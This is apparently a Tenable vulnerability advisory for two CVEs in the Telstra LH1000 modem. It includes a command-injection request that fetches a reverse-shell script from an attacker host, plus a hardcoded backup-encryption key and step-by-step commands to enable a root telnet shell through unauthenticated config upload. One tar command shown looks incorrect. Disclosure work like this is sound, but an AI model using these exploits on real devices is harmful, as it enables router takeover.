Multiple Vulnerabilities in Telstra Device

A researcher at Tenable has discovered multiple vulnerabilities in a Telstra device which could result in unauthenticated remote code execution.

CVE-2023-43477: Post-Auth Command Injection in ping_from parameter of ping_tracerte.cgi

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

The ping_from parameter in the ping/traceroute diagnostic commands sent via http://[LH1000-address]/ping_tracerte.cgi was vulnerable to command injection.

Unlike the other parameters, it was not sanitized before being passed to strings which build the diagnostic commands, and are then called with popen() in /usr/sbin/httpd.

For example, intercepting and modifying the POST request to ping_tracerte.cgi in a proxy like Burpsuite to have a ping_from parameter as the following (while maintaining the rest of the parameters as normal for the command):

ping_from=;uname+-a

Resulted in the following line being visible in the output:

Linux mymodem 4.1.38 #1 SMP PREEMPT Fri Aug 13 16:24:57 CST 2021 armv7l
GNU/Linux

Proof of Concept:

It was also possible to string together longer chains of commands. Sending a request similar to the following downloaded a reverse shell script from a listener on the attacker host at 192.168.0.2 and saves it to /tmp/shell.sh, which was then run. The ${IFS} blocks here are being used in place of spaces in the shell command.

POST /ping_tracerte.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 252
Accept: */*
X-Requested-With: XMLHttpRequest
Cookie: disableLogout=0;
SID_63c6d632=[logged_in_cookie_val]
Connection: close

httoken=518287608&enter=start&util_name=pingtest&ping_ip=192.168.0.1
&ping_from=;curl${IFS}http://192.168.0.2:443/shell.sh${IFS}-o${IFS}/tmp/shell.sh;
&ping_size=56&ping_repeat=4&ping_timeout=10&tracert_host=www.telstra.com.au
&tracert_hops=30

CVE-2023-43478: Unauthenticated configuration restore and firmware update

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated user could access http://[LH1000-address]/hninh987R47san82.htm which contained a form which allowed for the upload of manual firmware updates and configuration backups via http://[LH1000-address]/fake_upload.cgi.

Prior to submitting the form with a configuration backup or firmware update, the page checked for a valid key in a request made to http://[LH1000-address]/login_fw.cgi. The key was hardcoded and so this check could be bypassed.

However even that is unnecessary, as it was also possible for requests to fake_upload.cgi without that key and upload an update or configuration backup directly.

Proof of Concept: 

Note:  Without further investigation, it is unknown exactly what settings are and are not required by a configuration backup and which are unique to a particular device. Uploading a configuration backup which has incorrect settings could disable the device, even beyond recovery using the hardware factory reset. 

The simplest way of exploiting this issue was uploading a configuration backup with settings which granted an attacker greater access:

• Changing ARC_SYS_Password to alter the admin password for the device
• Setting ARC_TELNETD_ENABLE, ARC_SYS_RDFlag and ARC_SYS_MPTEST to 1 to enable a root telnet shell on port 23
• Any other changes which could achieve an attacker's desired effects

Step 1: Starting with a valid configuration backup is the easiest way to not permanently damage the device. These could be downloaded from a test device (post-authentication) and altered as required to reflect the device being attacked. 

Step 2: LH1000 configuration backups, at the time of discovery, were encrypted with a hardcoded key and could be decrypted using the following command:

openssl enc -d -aes-256-cbc -md MD5 -salt -in LH1000V1-backup.cfg -out dec.tgz -k '2&15u69A'

Then decompressed with:

tar -xvf dec.tgz

This will result in a ‘config’ directory being created in the current directory, containing all of the device’s backed up configuration files.

Step 3: The configuration files could then be modified. As an example, it was possible to enable a root telnet shell to be listening on port 23 by
setting the following in the .glbcfg file:

ARC_TELNETD_ENABLE=1
ARC_SYS_RDFlag=1
ARC_SYS_MPTEST=1

This caused the right conditions to be passed in /sbin/arc_deviceready to
enable telnet.

Step 4: With changes made to the configuration files, the folder needed to be compressed and encrypted. To compress the config folder into new.cfg:

tar -tzf new.cfg ./config

To encrypt the config, resulting in our encrypted configuration backup
(newenc.cfg):

openssl enc -aes-256-cbc -md MD5 -salt -in new.cfg -out newenc.cfg -k '2&15u69A'

Step 5: The new config could then be posted to fake_upload.cgi with a request similar to the one shown below. Note that a valid httoken could be grabbed via executing ArcBase._t() in a javascript console on the main login page, or just by copying it from other recent traffic.

The token can then be used in a curl command like the following, where $token is the token obtained, newenc.cfg is the configuration backup created in previous steps, and $LH1000 is the ip address of the target device.

curl -F httoken=$token -F [email protected] http://$LH1000/fake_upload.cgi

The device will then reboot with the new configuration. If the telnet feature was enabled, a root shell will be listening on port 23 on reboot.